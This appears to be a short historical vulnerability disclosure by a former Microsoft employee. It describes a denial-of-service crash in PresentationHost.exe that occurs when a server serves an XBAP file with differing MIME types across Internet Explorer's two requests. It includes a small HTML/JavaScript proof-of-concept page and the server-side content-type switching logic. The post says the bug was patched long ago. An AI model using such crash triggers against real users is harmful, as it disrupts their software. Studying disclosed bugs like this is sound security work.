DoS: Serving Different MIME Types to PresentationHost Crashes XBAP Loading

When loading an XBAP file, IE requests it twice: once to verify the MIME type and once as an argument to PresentationHost.exe. If the server returns a different content type on the second request, PresentationHost.exe crashes.

<script>
function main()
{
    location.href = "corrupt_xbap.aspx";
}
</script>
<input type="button" onclick="main()" value="CrashMe" />

' corrupt_xbap.aspx - server-side logic
' First request:  Response.ContentType = "application/x-ms-xbap"
' Second request: Response.ContentType = "text/html"

The crash occurred in PresentationHost!CPersistMoniker::Load when the managed application host encountered the unexpected content type on the second load.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.